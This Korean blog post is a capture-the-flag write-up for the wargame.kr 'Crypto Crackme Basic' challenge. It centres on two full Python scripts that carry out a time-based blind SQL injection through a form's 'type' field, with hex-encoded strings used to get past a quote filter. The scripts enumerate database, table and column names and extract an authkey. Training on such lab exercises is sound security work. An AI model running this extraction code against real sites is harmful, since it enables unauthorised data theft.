Wargame.kr 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.
이번 포스트에서는 Crypto Crackme Basic 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.
이번에는 생각보다 공격 포인트는 간단하지만, 공격 코드 짜는 게 여간 힘든 일이었습니다.
|
문제 이해 |
친절합니다.
위에서 Time Based SQL Injection 이라고 알려주었습니다.
다만 그외에 정보가 따로 없습니다... Database, Table, Column이름을 모두 알아내야 합니다.
아래에서 공격 벡터를 찾기 위해 쭉 찾아보았는데,
to JSMaster 부분에서 POST값으로 보내는 type 부분에서 sleep 함수가 통하며, Time Based SQLi가 되는 것을 확인하였습니다.
아래의 코드와 같이 테스트하였으며, 2초 뒤에 반환되는 것을 보았습니다.
|
문제 풀이 |
문제를 풀기 위한 코드입니다.
모두 두 가지로 나누었으며, MySQL 내부의 정보를 긁어오는 코드와 이를 이용하여 풀이를 진행한 코드입니다.
다만 유의해야 할 점은 싱긍쿼터가 필터링 되어 있기 때문에 HEX 값으로 대신 문자열을 비교하였습니다.
|
MySQL Scanner(Python3) |
import requests
import string
import time
def str2hex(string):
return '0x'+bytes.hex(string.encode())
requests.packages.urllib3.disable_warnings()
headers = {
"Cookie" : "여러분의 쿠키값"
}
proxies = {
'http' : 'http://localhost:8888',
'https' : 'http://localhost:8888'
}
data = {
"cont" : "kkamikoon",
"mail" : "kkamikoon",
"type" : "%s"
}
URL = "http://wargame.kr:8080/qna/"
# Database Information =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
for i in range(100):
tmpTime = time.time()
data['type'] = "1 and if(length(database())=%s,sleep(3),1)" % i
res = requests.post(url=URL, headers=headers, data=data, proxies=proxies, verify=False)
if (time.time() - tmpTime) >= 1.5:
print("[+] Found Database Length : %d" % i)
dbLen = i
break
else:
pass
bitLen = 8
dbName = ""
for dblen in range(1, dbLen+1):
tmpBit = ""
for blen in range(1, bitLen+1):
tmpTime = time.time()
data['type'] = "1 and if(substr(lpad(bin(ord(substr(database(),%(dblen)s,1))),%(bitLen)s,0),%(blen)s,1)=1,sleep(2),1)" % {"dblen" : dblen, "bitLen" : bitLen, "blen" : blen}
res = requests.post(url=URL, headers=headers, data=data, proxies=proxies, verify=False)
if (time.time() - tmpTime) >= 1.5:
tmpBit += "1"
else:
tmpBit += "0"
dbName += chr(int(tmpBit,2))
print("[+] Found Word : ", dbName)
print("[+] Found DB Name : %s" % dbName)
# Table Information =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
dbName = "qna"
# Table Count
for count in range(100):
tmpTime = time.time()
data['type'] = "1 and if((select count(table_name) from information_schema.tables where table_schema=%(dbName)s)=%(count)s,sleep(2),1)" % {"dbName" : str2hex(dbName), "count" : count}
res = requests.post(url=URL, headers=headers, data=data, proxies=proxies, verify=False)
if (time.time() - tmpTime) >= 1.5:
print("[+] Found Table Count : %d" % count)
tableCnt = count
break
else:
pass
# Table Length
tableLen = []
for tcnt in range(tableCnt):
for length in range(100):
tmpTime = time.time()
data['type'] = "1 and if((select length(table_name) from information_schema.tables where table_schema=%(dbName)s limit %(tcnt)s,1)=%(length)s,sleep(2),1)" % {"dbName" : str2hex(dbName), "length" : length, "tcnt" : tcnt}
res = requests.post(url=URL, headers=headers, data=data, proxies=proxies, verify=False)
if (time.time() - tmpTime) >= 1.5:
print("[+] Found Table Length : %d" % length)
tableLen.append(length)
break
else:
pass
print("[+] Found All Table Length : ", tableLen)
# Table Name
bitLen = 8
tableName = []
for tcnt in range(tableCnt):
tmpName = ""
for tlen in range(1, tableLen[tcnt]+1):
tmpBit = ""
for blen in range(1, bitLen+1):
tmpTime = time.time()
data['type'] = "1 and if(substr(lpad(bin(ord(substr((select table_name from information_schema.tables where table_schema=%(dbName)s limit %(tcnt)s,1),%(tlen)s,1))),%(bitLen)s,0),%(blen)s,1)=1,sleep(2),1)" % {"dbName" : str2hex(dbName), "tlen" : tlen, "bitLen" : bitLen, "blen" : blen, "tcnt" : tcnt}
res = requests.post(url=URL, headers=headers, data=data, proxies=proxies, verify=False)
if (time.time() - tmpTime) >= 1.5:
tmpBit += "1"
else:
tmpBit += "0"
tmpName += chr(int(tmpBit,2))
print("[+] Found Word : ", tmpName)
print("[+] Found Table Name : %s" % tmpName)
tableName.append(tmpName)
print("[+] Found All Table Name : ", tableName)
# Column Information =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
dbName = "qna"
tableCnt = 2
tableName = ['authkey', 'message']
columnCnt = []
# Column Count
for tcnt in range(tableCnt):
for count in range(100):
tmpTime = time.time()
data['type'] = "1 and if((select count(column_name) from information_schema.columns where table_name=%(tableName)s)=%(count)s,sleep(2),1)" % {"tableName" : str2hex(tableName[tcnt]), "count" : count}
res = requests.post(url=URL, headers=headers, data=data, proxies=proxies, verify=False)
if (time.time() - tmpTime) >= 1.5:
print("[+] Found Column Count : %d" % count)
columnCnt.append(count)
break
else:
pass
# Column Length
columnLen = []
for tcnt in range(tableCnt):
tmpLen = []
for ccnt in range(columnCnt[tcnt]):
for length in range(100):
tmpTime = time.time()
data['type'] = "1 and if((select length(column_name) from information_schema.columns where table_name=%(tableName)s limit %(ccnt)s,1)=%(length)s,sleep(2),1)" % {"tableName" : str2hex(tableName[tcnt]), "length" : length, "ccnt" : ccnt}
res = requests.post(url=URL, headers=headers, data=data, proxies=proxies, verify=False)
if (time.time() - tmpTime) >= 1.5:
print("[+] Found Column Length : %d" % length)
tmpLen.append(length)
break
else:
pass
columnLen.append(tmpLen)
print("[+] Found All Column Length : ", columnLen)
# Column Name
bitLen = 8
columnName = []
for tcnt in range(tableCnt):
tmpNameList = []
for ccnt, clen in enumerate(columnLen[tcnt]):
tmpName = ""
for cl in range(1, clen+1):
tmpBit = ""
for blen in range(1, bitLen+1):
tmpTime = time.time()
data['type'] = "1 and if(substr(lpad(bin(ord(substr((select column_name from information_schema.columns where table_name=%(tableName)s limit %(ccnt)s,1),%(cl)s,1))),%(bitLen)s,0),%(blen)s,1)=1,sleep(2),1)" % {"tableName" : str2hex(tableName[tcnt]), "cl" : cl, "bitLen" : bitLen, "blen" : blen, "ccnt" : ccnt}
res = requests.post(url=URL, headers=headers, data=data, proxies=proxies, verify=False)
if (time.time() - tmpTime) >= 1.5:
tmpBit += "1"
else:
tmpBit += "0"
tmpName += chr(int(tmpBit,2))
print("[+] Found Word : ", tmpName)
print("[+] Found Tmp Column Name : %s" % tmpName)
tmpNameList.append(tmpName)
print("[+] Found Column Name : ", tmpNameList)
columnName.append(tmpNameList)
print("[+] Found All Column Name : ", columnName)
|
Solve(Python3) |
import requests
import string
import time
def str2hex(string):
return '0x'+bytes.hex(string.encode())
requests.packages.urllib3.disable_warnings()
headers = {
"Cookie" : "여러분의 쿠키값"
}
proxies = {
'http' : 'http://localhost:8888',
'https' : 'http://localhost:8888'
}
data = {
"cont" : "kkamikoon",
"mail" : "kkamikoon",
"type" : "%s"
}
URL = "http://wargame.kr:8080/qna/"
# Value Information =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
# Value Count
for i in range(100):
tmpTime = time.time()
data['type'] = "1 and if((select count(authkey) from authkey)=%s,sleep(2),1)" % i
res = requests.post(url=URL, headers=headers, data=data, proxies=proxies, verify=False)
if (time.time() - tmpTime) >= 1.5:
print("[+] Found Value Count : %d" % i)
valueCnt = i
break
else:
pass
# Value Length
for i in range(100):
tmpTime = time.time()
data['type'] = "1 and if((select length(authkey) from authkey)=%s,sleep(2),1)" % i
res = requests.post(url=URL, headers=headers, data=data, proxies=proxies, verify=False)
if (time.time() - tmpTime) >= 1.5:
print("[+] Found Value Length : %d" % i)
valueLen = i
break
else:
pass
bitLen = 8
valueLen = 40
value = ""
for vlen in range(1, valueLen+1):
tmpBit = ""
for blen in range(1, bitLen+1):
tmpTime = time.time()
data['type'] = "1 and if(substr(lpad(bin(ord(substr((select authkey from authkey limit 0,1),%(vlen)s,1))),%(bitLen)s,0),%(blen)s,1)=1,sleep(2),1)" % {"vlen" : vlen, "bitLen" : bitLen, "blen" : blen}
res = requests.post(url=URL, headers=headers, data=data, proxies=proxies, verify=False)
if (time.time() - tmpTime) >= 1.5:
tmpBit += "1"
else:
tmpBit += "0"
value += chr(int(tmpBit,2))
print("[+] Found Word : ", value)
print("[+] Found Value : %s" % value)
'WARGAMES > wargame.kr' 카테고리의 다른 글
| [Wargame.kr] Level 27 - Dun worry about vase (0) | 2020.01.16 |
|---|---|
| [Wargame.kr] Level 26 - dll with notepad (0) | 2020.01.16 |
| [Wargame.kr] Level 24 - Crypto Crackme Basic (0) | 2019.06.18 |
| [Wargame.kr] Level 23 - dmbs335 (0) | 2019.06.17 |
| [Wargame.kr] Level 22 - keypad_crackme (0) | 2019.06.14 |
| [Wargame.kr] Level 21 - crack crack crack it (0) | 2019.06.11 |
| [Wargame.kr] Level 20 - lonely_guys (0) | 2019.06.11 |
| [Wargame.kr] Level 19 - ip log table (0) | 2019.05.17 |